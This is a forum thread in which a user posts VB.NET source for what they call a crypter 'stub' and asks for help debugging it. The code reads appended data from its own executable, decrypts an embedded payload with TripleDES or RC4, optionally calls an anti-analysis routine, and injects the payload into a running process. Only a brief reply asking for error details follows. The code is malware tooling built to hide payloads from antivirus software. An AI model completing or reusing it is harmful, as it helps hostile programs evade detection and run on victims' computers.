Government Security
Network Security Resources

Jump to content

Photo

[.net] Code Help

- - - - - windows assembly
  • Please log in to reply
1 reply to this topic

#1 nivong

nivong

    Private

  • Members
  • 1 posts

Posted 14 July 2010 - 12:29 AM

Hello all I need some help with this code:
Imports System.Windows.Forms
Imports System.Text

Module Mymod
    Dim res As String
    Dim thepath As Byte =  Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) +  "\"

    Public Function RandomNumber(ByVal min As Integer, ByVal max As  Integer) As Integer
  Dim random As New Random()
  Return random.Next(min, max)
    End Function

    Public Function RandomString(ByVal size As Integer, ByVal lowerCase  As Boolean) As String
  Dim builder As New StringBuilder()
  Dim random As New Random()
  Dim ch As Char
  Dim i As Integer
  For i = 0 To size - 1
    ch = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() +  65)))
    builder.Append(ch)
  Next i
  If lowerCase Then
    Return builder.ToString().ToLower()
  End If
  Return builder.ToString()
    End Function

    Public Function GetRandom() As String
  Dim builder As New StringBuilder()
  builder.Append(RandomString(4, True))
  builder.Append(RandomNumber(1000, 9999))
  builder.Append(RandomString(2, False))
  Return builder.ToString()
    End Function

    Sub Main()
  Dim Cuttkey As Byte = "/Assembly/"
  FileOpen(1, Application.ExecutablePath, OpenMode.Binary,  OpenAccess.Read, OpenShare.Shared)
  res = Space(LOF(1))
  FileGet(1, res)
  FileClose(1)

  Dim Cutter() As String
  Cutter = Split(res, Cuttkey)

  Dim exerandname As String = GetRandom.ToString + ".exe"
  Dim key As String = Cutter(2)
  Dim entype As String = Cutter(3)
  Dim antyw As String = Cutter(4)
  Dim processZ As String = Cutter(5)
  If processZ = "own" Then
    processZ = Process.GetCurrentProcess().MainModule.FileName
  End If

  If antyw = "true" Then
    ant.mofo()
  End If

  If Cutter(6) = "yes" Then
    If entype = "tripleDES" Then
    Dim Str As String = _3des.a(Cutter(7), key, True)
    Dim ByteArray() As Byte
    ByteArray = Encoding.Default.GetBytes(Str)
    Try
    rp.MakeIt(ByteArray, processZ)
    Catch ex As Exception

    End Try
    ElseIf entype = "rc4" Then
    Dim Str As String = _4cr.enc(Cutter(7), key)
    Dim ByteArray() As Byte
    ByteArray = Encoding.Default.GetBytes(Str)
    Try
    rp.MakeIt(ByteArray, processZ)
    Catch ex As Exception

    End Try
    End If

    Dim oFile1 As System.IO.FileInfo
    oFile1 = New System.IO.FileInfo(thepath + "a" + exerandname)

    Dim oFileStream1 As System.IO.FileStream = oFile1.OpenRead()
    Dim lBytes1 As Long = oFileStream1.Length

    If (lBytes1 > 0) Then
    Dim fileData(lBytes1 - 1) As Byte
    oFileStream1.Read(fileData, 0, lBytes1)
    rp.MakeIt(fileData, processZ)
    oFileStream1.Close()
    End If
  End If

  If entype = "tripleDES" Then
    Dim Str As String = _3des.a(Cutter(1), key, True)
    Dim ByteArray() As Byte
    ByteArray = Encoding.Default.GetBytes(Str)
    Try
    rp.MakeIt(ByteArray, processZ)
    Catch ex As Exception

    End Try
  ElseIf entype = "rc4" Then
    Dim Str As String = _4cr.enc(Cutter(1), key)
    Dim ByteArray() As Byte
    ByteArray = Encoding.Default.GetBytes(Str)
    Try
    rp.MakeIt(ByteArray, processZ)
    Catch ex As Exception

    End Try
  End If

  Dim oFile As System.IO.FileInfo
  oFile = New System.IO.FileInfo(thepath + exerandname)

  Dim oFileStream As System.IO.FileStream = oFile.OpenRead()
  Dim lBytes As Long = oFileStream.Length

  If (lBytes > 0) Then
    Dim fileData(lBytes - 1) As Byte
    oFileStream.Read(fileData, 0, lBytes)
    rp.MakeIt(fileData, processZ)
    oFileStream.Close()
  End If
  End
    End Sub
End Module

It is a piece of my stub, it is runtime but it is still tring to read the dropped files. But I thing I did something wrong but don't know what

#2 AgentSmithers

AgentSmithers

    Private First Class

  • Members
  • 26 posts

Posted 12 May 2011 - 10:37 AM

Well what line are you getting the Error? Little more Detail perhaps?
Http://ControllingTheInter.Net
My General Computer Forum, From Security To Programming And Back To Troubleshooting.





Also tagged with one or more of these keywords: windows, assembly